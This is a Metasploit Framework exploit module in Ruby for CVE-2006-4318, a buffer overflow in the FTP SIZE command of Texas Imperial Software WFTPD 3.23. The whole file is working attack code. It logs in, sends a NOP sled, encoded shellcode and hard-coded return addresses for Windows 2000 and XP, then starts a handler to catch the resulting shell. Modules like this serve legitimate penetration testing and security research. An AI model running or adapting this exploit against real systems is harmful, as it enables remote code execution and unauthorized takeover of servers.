## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow', 'Description' => %q{ This module exploits a buffer overflow in the SIZE verb in Texas Imperial's Software WFTPD 3.23. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2006-4318' ], [ 'OSVDB', '28134' ], [ 'BID', '19617' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2d3028 } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dd1595 } ], [ 'Windows XP Pro SP2 English', { 'Ret' => 0x77d498ec } ], ], 'DisclosureDate' => 'Aug 23 2006', 'DefaultTarget' => 0)) end def exploit connect_login sploit = "/" + make_nops(525 - payload.encoded.length) sploit << payload.encoded + [target.ret].pack('V') print_status("Trying target #{target.name}...") send_cmd(['SIZE', sploit], false) sleep(2) handler disconnect end end